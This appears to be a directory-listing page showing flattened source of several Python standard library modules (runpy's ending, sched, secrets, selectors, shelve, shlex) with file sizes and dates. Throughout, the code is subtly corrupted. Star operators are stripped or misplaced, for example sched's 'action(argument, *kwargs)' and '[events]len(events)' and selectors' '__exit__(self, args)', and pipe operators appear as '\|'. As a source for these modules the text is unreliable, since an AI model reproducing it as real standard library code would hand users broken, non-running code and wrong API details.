isinstance(importer, type(None)) or is_NullImporter: # Not a valid sys.path entry, so run the code directly # execfile() doesn't help as we want to allow compiled files code, fname = _get_code_from_file(run_name, path_name) return _run_module_code(code, init_globals, run_name, pkg_name=pkg_name, script_name=fname) else: # Finder is defined for path, so add it to # the start of sys.path sys.path.insert(0, path_name) try: # Here's where things are a little different from the run_module # case. There, we only had to replace the module in sys while the # code was running and doing so was somewhat optional. Here, we # have no choice and we have to remove it even while we read the # code. If we don't do this, a __loader__ attribute in the # existing __main__ module may prevent location of the new module. mod_name, mod_spec, code = _get_main_module_details() with _TempModule(run_name) as temp_module, \ _ModifiedArgv0(path_name): mod_globals = temp_module.module.__dict__ return _run_code(code, mod_globals, init_globals, run_name, mod_spec, pkg_name).copy() finally: try: sys.path.remove(path_name) except ValueError: pass if __name__ == "__main__": # Run the module specified as the next command line argument if len(sys.argv) < 2: print("No module specified for execution", file=sys.stderr) else: del sys.argv[0] # Make the requested module sys.argv[0] _run_module_as_main(sys.argv[0])	11.68 KB	2024-04-17 17:55
📄 sched.py """A generally useful event scheduler class. Each instance of this class manages its own queue. No multi-threading is implied; you are supposed to hack that yourself, or use a single instance per application. Each instance is parametrized with two functions, one that is supposed to return the current time, one that is supposed to implement a delay. You can implement real-time scheduling by substituting time and sleep from built-in module time, or you can implement simulated time by writing your own functions. This can also be used to integrate scheduling with STDWIN events; the delay function is allowed to modify the queue. Time can be expressed as integers or floating point numbers, as long as it is consistent. Events are specified by tuples (time, priority, action, argument, kwargs). As in UNIX, lower priority numbers mean higher priority; in this way the queue can be maintained as a priority queue. Execution of the event means calling the action function, passing it the argument sequence in "argument" (remember that in Python, multiple function arguments are be packed in a sequence) and keyword parameters in "kwargs". The action function may be an instance method so it has another way to reference private data (besides global variables). """ import time import heapq from collections import namedtuple import threading from time import monotonic as _time __all__ = ["scheduler"] class Event(namedtuple('Event', 'time, priority, action, argument, kwargs')): __slots__ = [] def __eq__(s, o): return (s.time, s.priority) == (o.time, o.priority) def __lt__(s, o): return (s.time, s.priority) < (o.time, o.priority) def __le__(s, o): return (s.time, s.priority) <= (o.time, o.priority) def __gt__(s, o): return (s.time, s.priority) > (o.time, o.priority) def __ge__(s, o): return (s.time, s.priority) >= (o.time, o.priority) Event.time.__doc__ = ('''Numeric type compatible with the return value of the timefunc function passed to the constructor.''') Event.priority.__doc__ = ('''Events scheduled for the same time will be executed in the order of their priority.''') Event.action.__doc__ = ('''Executing the event means executing action(argument, kwargs)''') Event.argument.__doc__ = ('''argument is a sequence holding the positional arguments for the action.''') Event.kwargs.__doc__ = ('''kwargs is a dictionary holding the keyword arguments for the action.''') _sentinel = object() class scheduler: def __init__(self, timefunc=_time, delayfunc=time.sleep): """Initialize a new instance, passing the time and delay functions""" self._queue = [] self._lock = threading.RLock() self.timefunc = timefunc self.delayfunc = delayfunc def enterabs(self, time, priority, action, argument=(), kwargs=_sentinel): """Enter a new event in the queue at an absolute time. Returns an ID for the event which can be used to remove it, if necessary. """ if kwargs is _sentinel: kwargs = {} event = Event(time, priority, action, argument, kwargs) with self._lock: heapq.heappush(self._queue, event) return event # The ID def enter(self, delay, priority, action, argument=(), kwargs=_sentinel): """A variant that specifies the time as a relative time. This is actually the more commonly used interface. """ time = self.timefunc() + delay return self.enterabs(time, priority, action, argument, kwargs) def cancel(self, event): """Remove an event from the queue. This must be presented the ID as returned by enter(). If the event is not in the queue, this raises ValueError. """ with self._lock: self._queue.remove(event) heapq.heapify(self._queue) def empty(self): """Check whether the queue is empty.""" with self._lock: return not self._queue def run(self, blocking=True): """Execute events until the queue is empty. If blocking is False executes the scheduled events due to expire soonest (if any) and then return the deadline of the next scheduled call in the scheduler. When there is a positive delay until the first event, the delay function is called and the event is left in the queue; otherwise, the event is removed from the queue and executed (its action function is called, passing it the argument). If the delay function returns prematurely, it is simply restarted. It is legal for both the delay function and the action function to modify the queue or to raise an exception; exceptions are not caught but the scheduler's state remains well-defined so run() may be called again. A questionable hack is added to allow other threads to run: just after an event is executed, a delay of 0 is executed, to avoid monopolizing the CPU when other threads are also runnable. """ # localize variable access to minimize overhead # and to improve thread safety lock = self._lock q = self._queue delayfunc = self.delayfunc timefunc = self.timefunc pop = heapq.heappop while True: with lock: if not q: break time, priority, action, argument, kwargs = q[0] now = timefunc() if time > now: delay = True else: delay = False pop(q) if delay: if not blocking: return time - now delayfunc(time - now) else: action(argument, *kwargs) delayfunc(0) # Let other threads run @property def queue(self): """An ordered list of upcoming events. Events are named tuples with fields for: time, priority, action, arguments, kwargs """ # Use heapq to sort the queue rather than using 'sorted(self._queue)'. # With heapq, two events scheduled at the same time will show in # the actual order they would be retrieved. with self._lock: events = self._queue[:] return list(map(heapq.heappop, [events]len(events)))	6.29 KB	2024-04-17 17:55
📄 secrets.py """Generate cryptographically strong pseudo-random numbers suitable for managing secrets such as account authentication, tokens, and similar. See PEP 506 for more information. https://www.python.org/dev/peps/pep-0506/ """ __all__ = ['choice', 'randbelow', 'randbits', 'SystemRandom', 'token_bytes', 'token_hex', 'token_urlsafe', 'compare_digest', ] import base64 import binascii import os from hmac import compare_digest from random import SystemRandom _sysrand = SystemRandom() randbits = _sysrand.getrandbits choice = _sysrand.choice def randbelow(exclusive_upper_bound): """Return a random int in the range [0, n).""" if exclusive_upper_bound <= 0: raise ValueError("Upper bound must be positive.") return _sysrand._randbelow(exclusive_upper_bound) DEFAULT_ENTROPY = 32 # number of bytes to return by default def token_bytes(nbytes=None): """Return a random byte string containing nbytes bytes. If nbytes is ``None`` or not supplied, a reasonable default is used. >>> token_bytes(16) #doctest:+SKIP b'\\xebr\\x17Dt\\xae\\xd4\\xe3S\\xb6\\xe2\\xebP1\\x8b' """ if nbytes is None: nbytes = DEFAULT_ENTROPY return os.urandom(nbytes) def token_hex(nbytes=None): """Return a random text string, in hexadecimal. The string has nbytes* random bytes, each byte converted to two hex digits. If nbytes is ``None`` or not supplied, a reasonable default is used. >>> token_hex(16) #doctest:+SKIP 'f9bf78b9a18ce6d46a0cd2b0b86df9da' """ return binascii.hexlify(token_bytes(nbytes)).decode('ascii') def token_urlsafe(nbytes=None): """Return a random URL-safe text string, in Base64 encoding. The string has nbytes random bytes. If nbytes is ``None`` or not supplied, a reasonable default is used. >>> token_urlsafe(16) #doctest:+SKIP 'Drmhze6EPcv0fN_81Bj-nA' """ tok = token_bytes(nbytes) return base64.urlsafe_b64encode(tok).rstrip(b'=').decode('ascii')	1.99 KB	2024-04-17 17:55
📄 selectors.py """Selectors module. This module allows high-level and efficient I/O multiplexing, built upon the `select` module primitives. """ from abc import ABCMeta, abstractmethod from collections import namedtuple from collections.abc import Mapping import math import select import sys # generic events, that must be mapped to implementation-specific ones EVENT_READ = (1 << 0) EVENT_WRITE = (1 << 1) def _fileobj_to_fd(fileobj): """Return a file descriptor from a file object. Parameters: fileobj -- file object or file descriptor Returns: corresponding file descriptor Raises: ValueError if the object is invalid """ if isinstance(fileobj, int): fd = fileobj else: try: fd = int(fileobj.fileno()) except (AttributeError, TypeError, ValueError): raise ValueError("Invalid file object: " "{!r}".format(fileobj)) from None if fd < 0: raise ValueError("Invalid file descriptor: {}".format(fd)) return fd SelectorKey = namedtuple('SelectorKey', ['fileobj', 'fd', 'events', 'data']) SelectorKey.__doc__ = """SelectorKey(fileobj, fd, events, data) Object used to associate a file object to its backing file descriptor, selected event mask, and attached data. """ if sys.version_info >= (3, 5): SelectorKey.fileobj.__doc__ = 'File object registered.' SelectorKey.fd.__doc__ = 'Underlying file descriptor.' SelectorKey.events.__doc__ = 'Events that must be waited for on this file object.' SelectorKey.data.__doc__ = ('''Optional opaque data associated to this file object. For example, this could be used to store a per-client session ID.''') class _SelectorMapping(Mapping): """Mapping of file objects to selector keys.""" def __init__(self, selector): self._selector = selector def __len__(self): return len(self._selector._fd_to_key) def __getitem__(self, fileobj): try: fd = self._selector._fileobj_lookup(fileobj) return self._selector._fd_to_key[fd] except KeyError: raise KeyError("{!r} is not registered".format(fileobj)) from None def __iter__(self): return iter(self._selector._fd_to_key) class BaseSelector(metaclass=ABCMeta): """Selector abstract base class. A selector supports registering file objects to be monitored for specific I/O events. A file object is a file descriptor or any object with a `fileno()` method. An arbitrary object can be attached to the file object, which can be used for example to store context information, a callback, etc. A selector can use various implementations (select(), poll(), epoll()...) depending on the platform. The default `Selector` class uses the most efficient implementation on the current platform. """ @abstractmethod def register(self, fileobj, events, data=None): """Register a file object. Parameters: fileobj -- file object or file descriptor events -- events to monitor (bitwise mask of EVENT_READ\|EVENT_WRITE) data -- attached data Returns: SelectorKey instance Raises: ValueError if events is invalid KeyError if fileobj is already registered OSError if fileobj is closed or otherwise is unacceptable to the underlying system call (if a system call is made) Note: OSError may or may not be raised """ raise NotImplementedError @abstractmethod def unregister(self, fileobj): """Unregister a file object. Parameters: fileobj -- file object or file descriptor Returns: SelectorKey instance Raises: KeyError if fileobj is not registered Note: If fileobj is registered but has since been closed this does not raise OSError (even if the wrapped syscall does) """ raise NotImplementedError def modify(self, fileobj, events, data=None): """Change a registered file object monitored events or attached data. Parameters: fileobj -- file object or file descriptor events -- events to monitor (bitwise mask of EVENT_READ\|EVENT_WRITE) data -- attached data Returns: SelectorKey instance Raises: Anything that unregister() or register() raises """ self.unregister(fileobj) return self.register(fileobj, events, data) @abstractmethod def select(self, timeout=None): """Perform the actual selection, until some monitored file objects are ready or a timeout expires. Parameters: timeout -- if timeout > 0, this specifies the maximum wait time, in seconds if timeout <= 0, the select() call won't block, and will report the currently ready file objects if timeout is None, select() will block until a monitored file object becomes ready Returns: list of (key, events) for ready file objects `events` is a bitwise mask of EVENT_READ\|EVENT_WRITE """ raise NotImplementedError def close(self): """Close the selector. This must be called to make sure that any underlying resource is freed. """ pass def get_key(self, fileobj): """Return the key associated to a registered file object. Returns: SelectorKey for this file object """ mapping = self.get_map() if mapping is None: raise RuntimeError('Selector is closed') try: return mapping[fileobj] except KeyError: raise KeyError("{!r} is not registered".format(fileobj)) from None @abstractmethod def get_map(self): """Return a mapping of file objects to selector keys.""" raise NotImplementedError def __enter__(self): return self def __exit__(self, args): self.close() class _BaseSelectorImpl(BaseSelector): """Base selector implementation.""" def __init__(self): # this maps file descriptors to keys self._fd_to_key = {} # read-only mapping returned by get_map() self._map = _SelectorMapping(self) def _fileobj_lookup(self, fileobj): """Return a file descriptor from a file object. This wraps _fileobj_to_fd() to do an exhaustive search in case the object is invalid but we still have it in our map. This is used by unregister() so we can unregister an object that was previously registered even if it is closed. It is also used by _SelectorMapping. """ try: return _fileobj_to_fd(fileobj) except ValueError: # Do an exhaustive search. for key in self._fd_to_key.values(): if key.fileobj is fileobj: return key.fd # Raise ValueError after all. raise def register(self, fileobj, events, data=None): if (not events) or (events & ~(EVENT_READ \| EVENT_WRITE)): raise ValueError("Invalid events: {!r}".format(events)) key = SelectorKey(fileobj, self._fileobj_lookup(fileobj), events, data) if key.fd in self._fd_to_key: raise KeyError("{!r} (FD {}) is already registered" .format(fileobj, key.fd)) self._fd_to_key[key.fd] = key return key def unregister(self, fileobj): try: key = self._fd_to_key.pop(self._fileobj_lookup(fileobj)) except KeyError: raise KeyError("{!r} is not registered".format(fileobj)) from None return key def modify(self, fileobj, events, data=None): try: key = self._fd_to_key[self._fileobj_lookup(fileobj)] except KeyError: raise KeyError("{!r} is not registered".format(fileobj)) from None if events != key.events: self.unregister(fileobj) key = self.register(fileobj, events, data) elif data != key.data: # Use a shortcut to update the data. key = key._replace(data=data) self._fd_to_key[key.fd] = key return key def close(self): self._fd_to_key.clear() self._map = None def get_map(self): return self._map def _key_from_fd(self, fd): """Return the key associated to a given file descriptor. Parameters: fd -- file descriptor Returns: corresponding key, or None if not found """ try: return self._fd_to_key[fd] except KeyError: return None class SelectSelector(_BaseSelectorImpl): """Select-based selector.""" def __init__(self): super().__init__() self._readers = set() self._writers = set() def register(self, fileobj, events, data=None): key = super().register(fileobj, events, data) if events & EVENT_READ: self._readers.add(key.fd) if events & EVENT_WRITE: self._writers.add(key.fd) return key def unregister(self, fileobj): key = super().unregister(fileobj) self._readers.discard(key.fd) self._writers.discard(key.fd) return key if sys.platform == 'win32': def _select(self, r, w, _, timeout=None): r, w, x = select.select(r, w, w, timeout) return r, w + x, [] else: _select = select.select def select(self, timeout=None): timeout = None if timeout is None else max(timeout, 0) ready = [] try: r, w, _ = self._select(self._readers, self._writers, [], timeout) except InterruptedError: return ready r = set(r) w = set(w) for fd in r \| w: events = 0 if fd in r: events \|= EVENT_READ if fd in w: events \|= EVENT_WRITE key = self._key_from_fd(fd) if key: ready.append((key, events & key.events)) return ready class _PollLikeSelector(_BaseSelectorImpl): """Base class shared between poll, epoll and devpoll selectors.""" _selector_cls = None _EVENT_READ = None _EVENT_WRITE = None def __init__(self): super().__init__() self._selector = self._selector_cls() def register(self, fileobj, events, data=None): key = super().register(fileobj, events, data) poller_events = 0 if events & EVENT_READ: poller_events \|= self._EVENT_READ if events & EVENT_WRITE: poller_events \|= self._EVENT_WRITE try: self._selector.register(key.fd, poller_events) except: super().unregister(fileobj) raise return key def unregister(self, fileobj): key = super().unregister(fileobj) try: self._selector.unregister(key.fd) except OSError: # This can happen if the FD was closed since it # was registered. pass return key def modify(self, fileobj, events, data=None): try: key = self._fd_to_key[self._fileobj_lookup(fileobj)] except KeyError: raise KeyError(f"{fileobj!r} is not registered") from None changed = False if events != key.events: selector_events = 0 if events & EVENT_READ: selector_events \|= self._EVENT_READ if events & EVENT_WRITE: selector_events \|= self._EVENT_WRITE try: self._selector.modify(key.fd, selector_events) except: super().unregister(fileobj) raise changed = True if data != key.data: changed = True if changed: key = key._replace(events=events, data=data) self._fd_to_key[key.fd] = key return key def select(self, timeout=None): # This is shared between poll() and epoll(). # epoll() has a different signature and handling of timeout parameter. if timeout is None: timeout = None elif timeout <= 0: timeout = 0 else: # poll() has a resolution of 1 millisecond, round away from # zero to wait at least* timeout seconds. timeout = math.ceil(timeout * 1e3) ready = [] try: fd_event_list = self._selector.poll(timeout) except InterruptedError: return ready for fd, event in fd_event_list: events = 0 if event & ~self._EVENT_READ: events \|= EVENT_WRITE if event & ~self._EVENT_WRITE: events \|= EVENT_READ key = self._key_from_fd(fd) if key: ready.append((key, events & key.events)) return ready if hasattr(select, 'poll'): class PollSelector(_PollLikeSelector): """Poll-based selector.""" _selector_cls = select.poll _EVENT_READ = select.POLLIN _EVENT_WRITE = select.POLLOUT if hasattr(select, 'epoll'): class EpollSelector(_PollLikeSelector): """Epoll-based selector.""" _selector_cls = select.epoll _EVENT_READ = select.EPOLLIN _EVENT_WRITE = select.EPOLLOUT def fileno(self): return self._selector.fileno() def select(self, timeout=None): if timeout is None: timeout = -1 elif timeout <= 0: timeout = 0 else: # epoll_wait() has a resolution of 1 millisecond, round away # from zero to wait at least timeout seconds. timeout = math.ceil(timeout * 1e3) * 1e-3 # epoll_wait() expects `maxevents` to be greater than zero; # we want to make sure that `select()` can be called when no # FD is registered. max_ev = max(len(self._fd_to_key), 1) ready = [] try: fd_event_list = self._selector.poll(timeout, max_ev) except InterruptedError: return ready for fd, event in fd_event_list: events = 0 if event & ~select.EPOLLIN: events \|= EVENT_WRITE if event & ~select.EPOLLOUT: events \|= EVENT_READ key = self._key_from_fd(fd) if key: ready.append((key, events & key.events)) return ready def close(self): self._selector.close() super().close() if hasattr(select, 'devpoll'): class DevpollSelector(_PollLikeSelector): """Solaris /dev/poll selector.""" _selector_cls = select.devpoll _EVENT_READ = select.POLLIN _EVENT_WRITE = select.POLLOUT def fileno(self): return self._selector.fileno() def close(self): self._selector.close() super().close() if hasattr(select, 'kqueue'): class KqueueSelector(_BaseSelectorImpl): """Kqueue-based selector.""" def __init__(self): super().__init__() self._selector = select.kqueue() def fileno(self): return self._selector.fileno() def register(self, fileobj, events, data=None): key = super().register(fileobj, events, data) try: if events & EVENT_READ: kev = select.kevent(key.fd, select.KQ_FILTER_READ, select.KQ_EV_ADD) self._selector.control([kev], 0, 0) if events & EVENT_WRITE: kev = select.kevent(key.fd, select.KQ_FILTER_WRITE, select.KQ_EV_ADD) self._selector.control([kev], 0, 0) except: super().unregister(fileobj) raise return key def unregister(self, fileobj): key = super().unregister(fileobj) if key.events & EVENT_READ: kev = select.kevent(key.fd, select.KQ_FILTER_READ, select.KQ_EV_DELETE) try: self._selector.control([kev], 0, 0) except OSError: # This can happen if the FD was closed since it # was registered. pass if key.events & EVENT_WRITE: kev = select.kevent(key.fd, select.KQ_FILTER_WRITE, select.KQ_EV_DELETE) try: self._selector.control([kev], 0, 0) except OSError: # See comment above. pass return key def select(self, timeout=None): timeout = None if timeout is None else max(timeout, 0) max_ev = len(self._fd_to_key) ready = [] try: kev_list = self._selector.control(None, max_ev, timeout) except InterruptedError: return ready for kev in kev_list: fd = kev.ident flag = kev.filter events = 0 if flag == select.KQ_FILTER_READ: events \|= EVENT_READ if flag == select.KQ_FILTER_WRITE: events \|= EVENT_WRITE key = self._key_from_fd(fd) if key: ready.append((key, events & key.events)) return ready def close(self): self._selector.close() super().close() # Choose the best implementation, roughly: # epoll\|kqueue\|devpoll > poll > select. # select() also can't accept a FD > FD_SETSIZE (usually around 1024) if 'KqueueSelector' in globals(): DefaultSelector = KqueueSelector elif 'EpollSelector' in globals(): DefaultSelector = EpollSelector elif 'DevpollSelector' in globals(): DefaultSelector = DevpollSelector elif 'PollSelector' in globals(): DefaultSelector = PollSelector else: DefaultSelector = SelectSelector	18.13 KB	2024-04-17 17:55
📄 shelve.py """Manage shelves of pickled objects. A "shelf" is a persistent, dictionary-like object. The difference with dbm databases is that the values (not the keys!) in a shelf can be essentially arbitrary Python objects -- anything that the "pickle" module can handle. This includes most class instances, recursive data types, and objects containing lots of shared sub-objects. The keys are ordinary strings. To summarize the interface (key is a string, data is an arbitrary object): import shelve d = shelve.open(filename) # open, with (g)dbm filename -- no suffix d[key] = data # store data at key (overwrites old data if # using an existing key) data = d[key] # retrieve a COPY of the data at key (raise # KeyError if no such key) -- NOTE that this # access returns a copy of the entry! del d[key] # delete data stored at key (raises KeyError # if no such key) flag = key in d # true if the key exists list = d.keys() # a list of all existing keys (slow!) d.close() # close it Dependent on the implementation, closing a persistent dictionary may or may not be necessary to flush changes to disk. Normally, d[key] returns a COPY of the entry. This needs care when mutable entries are mutated: for example, if d[key] is a list, d[key].append(anitem) does NOT modify the entry d[key] itself, as stored in the persistent mapping -- it only modifies the copy, which is then immediately discarded, so that the append has NO effect whatsoever. To append an item to d[key] in a way that will affect the persistent mapping, use: data = d[key] data.append(anitem) d[key] = data To avoid the problem with mutable entries, you may pass the keyword argument writeback=True in the call to shelve.open. When you use: d = shelve.open(filename, writeback=True) then d keeps a cache of all entries you access, and writes them all back to the persistent mapping when you call d.close(). This ensures that such usage as d[key].append(anitem) works as intended. However, using keyword argument writeback=True may consume vast amount of memory for the cache, and it may make d.close() very slow, if you access many of d's entries after opening it in this way: d has no way to check which of the entries you access are mutable and/or which ones you actually mutate, so it must cache, and write back at close, all of the entries that you access. You can call d.sync() to write back all the entries in the cache, and empty the cache (d.sync() also synchronizes the persistent dictionary on disk, if feasible). """ from pickle import Pickler, Unpickler from io import BytesIO import collections.abc __all__ = ["Shelf", "BsdDbShelf", "DbfilenameShelf", "open"] class _ClosedDict(collections.abc.MutableMapping): 'Marker for a closed dict. Access attempts raise a ValueError.' def closed(self, *args): raise ValueError('invalid operation on closed shelf') __iter__ = __len__ = __getitem__ = __setitem__ = __delitem__ = keys = closed def __repr__(self): return '<Closed Dictionary>' class Shelf(collections.abc.MutableMapping): """Base class for shelf implementations. This is initialized with a dictionary-like object. See the module's __doc__ string for an overview of the interface. """ def __init__(self, dict, protocol=None, writeback=False, keyencoding="utf-8"): self.dict = dict if protocol is None: protocol = 3 self._protocol = protocol self.writeback = writeback self.cache = {} self.keyencoding = keyencoding def __iter__(self): for k in self.dict.keys(): yield k.decode(self.keyencoding) def __len__(self): return len(self.dict) def __contains__(self, key): return key.encode(self.keyencoding) in self.dict def get(self, key, default=None): if key.encode(self.keyencoding) in self.dict: return self[key] return default def __getitem__(self, key): try: value = self.cache[key] except KeyError: f = BytesIO(self.dict[key.encode(self.keyencoding)]) value = Unpickler(f).load() if self.writeback: self.cache[key] = value return value def __setitem__(self, key, value): if self.writeback: self.cache[key] = value f = BytesIO() p = Pickler(f, self._protocol) p.dump(value) self.dict[key.encode(self.keyencoding)] = f.getvalue() def __delitem__(self, key): del self.dict[key.encode(self.keyencoding)] try: del self.cache[key] except KeyError: pass def __enter__(self): return self def __exit__(self, type, value, traceback): self.close() def close(self): if self.dict is None: return try: self.sync() try: self.dict.close() except AttributeError: pass finally: # Catch errors that may happen when close is called from __del__ # because CPython is in interpreter shutdown. try: self.dict = _ClosedDict() except: self.dict = None def __del__(self): if not hasattr(self, 'writeback'): # __init__ didn't succeed, so don't bother closing # see http://bugs.python.org/issue1339007 for details return self.close() def sync(self): if self.writeback and self.cache: self.writeback = False for key, entry in self.cache.items(): self[key] = entry self.writeback = True self.cache = {} if hasattr(self.dict, 'sync'): self.dict.sync() class BsdDbShelf(Shelf): """Shelf implementation using the "BSD" db interface. This adds methods first(), next(), previous(), last() and set_location() that have no counterpart in [g]dbm databases. The actual database must be opened using one of the "bsddb" modules "open" routines (i.e. bsddb.hashopen, bsddb.btopen or bsddb.rnopen) and passed to the constructor. See the module's __doc__ string for an overview of the interface. """ def __init__(self, dict, protocol=None, writeback=False, keyencoding="utf-8"): Shelf.__init__(self, dict, protocol, writeback, keyencoding) def set_location(self, key): (key, value) = self.dict.set_location(key) f = BytesIO(value) return (key.decode(self.keyencoding), Unpickler(f).load()) def next(self): (key, value) = next(self.dict) f = BytesIO(value) return (key.decode(self.keyencoding), Unpickler(f).load()) def previous(self): (key, value) = self.dict.previous() f = BytesIO(value) return (key.decode(self.keyencoding), Unpickler(f).load()) def first(self): (key, value) = self.dict.first() f = BytesIO(value) return (key.decode(self.keyencoding), Unpickler(f).load()) def last(self): (key, value) = self.dict.last() f = BytesIO(value) return (key.decode(self.keyencoding), Unpickler(f).load()) class DbfilenameShelf(Shelf): """Shelf implementation using the "dbm" generic dbm interface. This is initialized with the filename for the dbm database. See the module's __doc__ string for an overview of the interface. """ def __init__(self, filename, flag='c', protocol=None, writeback=False): import dbm Shelf.__init__(self, dbm.open(filename, flag), protocol, writeback) def open(filename, flag='c', protocol=None, writeback=False): """Open a persistent dictionary for reading and writing. The filename parameter is the base filename for the underlying database. As a side-effect, an extension may be added to the filename and more than one file may be created. The optional flag parameter has the same interpretation as the flag parameter of dbm.open(). The optional protocol parameter specifies the version of the pickle protocol. See the module's __doc__ string for an overview of the interface. """ return DbfilenameShelf(filename, flag, protocol, writeback)	8.33 KB	2024-04-17 17:55
📄 shlex.py """A lexical analyzer class for simple shell-like syntaxes.""" # Module and documentation by Eric S. Raymond, 21 Dec 1998 # Input stacking and error message cleanup added by ESR, March 2000 # push_source() and pop_source() made explicit by ESR, January 2001. # Posix compliance, split(), string arguments, and # iterator interface by Gustavo Niemeyer, April 2003. # changes to tokenize more like Posix shells by Vinay Sajip, July 2016. import os import re import sys from collections import deque from io import StringIO __all__ = ["shlex", "split", "quote"] class shlex: "A lexical analyzer class for simple shell-like syntaxes." def __init__(self, instream=None, infile=None, posix=False, punctuation_chars=False): if isinstance(instream, str): instream = StringIO(instream) if instream is not None: self.instream = instream self.infile = infile else: self.instream = sys.stdin self.infile = None self.posix = posix if posix: self.eof = None else: self.eof = '' self.commenters = '#' self.wordchars = ('abcdfeghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_') if self.posix: self.wordchars += ('ßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýþÿ' 'ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝÞ') self.whitespace = ' \t\r\n' self.whitespace_split = False self.quotes = '\'"' self.escape = '\\' self.escapedquotes = '"' self.state = ' ' self.pushback = deque() self.lineno = 1 self.debug = 0 self.token = '' self.filestack = deque() self.source = None if not punctuation_chars: punctuation_chars = '' elif punctuation_chars is True: punctuation_chars = '();<>\|&' self._punctuation_chars = punctuation_chars if punctuation_chars: # _pushback_chars is a push back queue used by lookahead logic self._pushback_chars = deque() # these chars added because allowed in file names, args, wildcards self.wordchars += '~-./?=' #remove any punctuation chars from wordchars t = self.wordchars.maketrans(dict.fromkeys(punctuation_chars)) self.wordchars = self.wordchars.translate(t) @property def punctuation_chars(self): return self._punctuation_chars def push_token(self, tok): "Push a token onto the stack popped by the get_token method" if self.debug >= 1: print("shlex: pushing token " + repr(tok)) self.pushback.appendleft(tok) def push_source(self, newstream, newfile=None): "Push an input source onto the lexer's input source stack." if isinstance(newstream, str): newstream = StringIO(newstream) self.filestack.appendleft((self.infile, self.instream, self.lineno)) self.infile = newfile self.instream = newstream self.lineno = 1 if self.debug: if newfile is not None: print('shlex: pushing to file %s' % (self.infile,)) else: print('shlex: pushing to stream %s' % (self.instream,)) def pop_source(self): "Pop the input source stack." self.instream.close() (self.infile, self.instream, self.lineno) = self.filestack.popleft() if self.debug: print('shlex: popping to %s, line %d' \ % (self.instream, self.lineno)) self.state = ' ' def get_token(self): "Get a token from the input stream (or from stack if it's nonempty)" if self.pushback: tok = self.pushback.popleft() if self.debug >= 1: print("shlex: popping token " + repr(tok)) return tok # No pushback. Get a token. raw = self.read_token() # Handle inclusions if self.source is not None: while raw == self.source: spec = self.sourcehook(self.read_token()) if spec: (newfile, newstream) = spec self.push_source(newstream, newfile) raw = self.get_token() # Maybe we got EOF instead? while raw == self.eof: if not self.filestack: return self.eof else: self.pop_source() raw = self.get_token() # Neither inclusion nor EOF if self.debug >= 1: if raw != self.eof: print("shlex: token=" + repr(raw)) else: print("shlex: token=EOF") return raw def read_token(self): quoted = False escapedstate = ' ' while True: if self.punctuation_chars and self._pushback_chars: nextchar = self._pushback_chars.pop() else: nextchar = self.instream.read(1) if nextchar == '\n': self.lineno += 1 if self.debug >= 3: print("shlex: in state %r I see character: %r" % (self.state, nextchar)) if self.state is None: self.token = '' # past end of file break elif self.state == ' ': if not nextchar: self.state = None # end of file break elif nextchar in self.whitespace: if self.debug >= 2: print("shlex: I see whitespace in whitespace state") if self.token or (self.posix and quoted): break # emit current token else: continue elif nextchar in self.commenters: self.instream.readline() self.lineno += 1 elif self.posix and nextchar in self.escape: escapedstate = 'a' self.state = nextchar elif nextchar in self.wordchars: self.token = nextchar self.state = 'a' elif nextchar in self.punctuation_chars: self.token = nextchar self.state = 'c' elif nextchar in self.quotes: if not self.posix: self.token = nextchar self.state = nextchar elif self.whitespace_split: self.token = nextchar self.state = 'a' else: self.token = nextchar if self.token or (self.posix and quoted): break # emit current token else: continue elif self.state in self.quotes: quoted = True if not nextchar: # end of file if self.debug >= 2: print("shlex: I see EOF in quotes state") # XXX what error should be raised here? raise ValueError("No closing quotation") if nextchar == self.state: if not self.posix: self.token += nextchar self.state = ' ' break else: self.state = 'a' elif (self.posix and nextchar in self.escape and self.state in self.escapedquotes): escapedstate = self.state self.state = nextchar else: self.token += nextchar elif self.state in self.escape: if not nextchar: # end of file if self.debug >= 2: print("shlex: I see EOF in escape state") # XXX what error should be raised here? raise ValueError("No escaped character") # In posix shells, only the quote itself or the escape # character may be escaped within quotes. if (escapedstate in self.quotes and nextchar != self.state and nextchar != escapedstate): self.token += self.state self.token += nextchar self.state = escapedstate elif self.state in ('a', 'c'): if not nextchar: self.state = None # end of file break elif nextchar in self.whitespace: if self.debug >= 2: print("shlex: I see whitespace in word state") self.state = ' ' if self.token or (self.posix and quoted): break # emit current token else: continue elif nextchar in self.commenters: self.instream.readline() self.lineno += 1 if self.posix: self.state = ' ' if self.token or (self.posix and quoted): break # emit current token else: continue elif self.state == 'c': if nextchar in self.punctuation_chars: self.token += nextchar else: if nextchar not in self.whitespace: self._pushback_chars.append(nextchar) self.state = ' ' break elif self.posix and nextchar in self.quotes: self.state = nextchar elif self.posix and nextchar in self.escape: escapedstate = 'a' self.state = nextchar elif (nextchar in self.wordchars or nextchar in self.quotes or self.whitespace_split): self.token += nextchar else: if self.punctuation_chars: self._pushback_chars.append(nextchar) else: self.pushback.appendleft(nextchar) if self.debug >= 2: print("shlex: I see punctuation in word state") self.state = ' ' if self.token or (self.posix and quoted): break # emit current token else: continue result = self.token self.token = '' if self.posix and not quoted and result == '': result = None if self.debug > 1: if result: print("shlex: raw token=" + repr(result)) else: print("shlex: raw token=EOF") return result def sourcehook(self, newfile): "Hook called on a filename to be sourced." if newfile[0] == '"': newfile = newfile[1:-1] # This implements cpp-like semantics for relative-path inclusion. if isinstance(self.infile, str) and not os.path.isabs(newfile): newfile = os.path.join(os.path.dirname(self.infile), newfile) return (newfile, open(newfile, "r")) def error_leader(self, infile=None, lineno=None): "Emit a C-compiler-like, Emacs-friendly error-message leader." if infile is None: infile = self.infile if lineno is None: lineno = self.lineno return "\"%s\", line %d: " % (infile, lineno) def __iter__(self): return self def __next__(self): token = self.get_token() if token == self.eof: raise StopIteration return token def split(s, comments=False, posix=True): """Split the string s* using shell-like syntax.""" lex = shlex(s, posix=posix) lex.whitespace_split = True if not comments: lex.commenters = '' return list(lex) _find_unsafe = re.compile(r'[^\w@%+=:,./-]', re.ASCII).search def quote(s): """Return a shell-escaped version of the string s.""" if not s: return "''" if _find_unsafe(s) is None: return s # use single quotes, and put single quotes into double quotes # the string $'b is then quoted as '$'"'"'b' return "'" + s.replace("'", "'\"'\"'") + "'" def _print_tokens(lexer): while 1: tt = lexer.get_token() if not tt: break print("Token: " + repr(tt)) if __name__ == '__main__': if len(sys.argv) == 1: _print_tokens(shlex()) else: fn = sys.argv[1] with open(fn) as f: _print_tokens(shlex(f, fn))	12.79 KB	2024-04-17 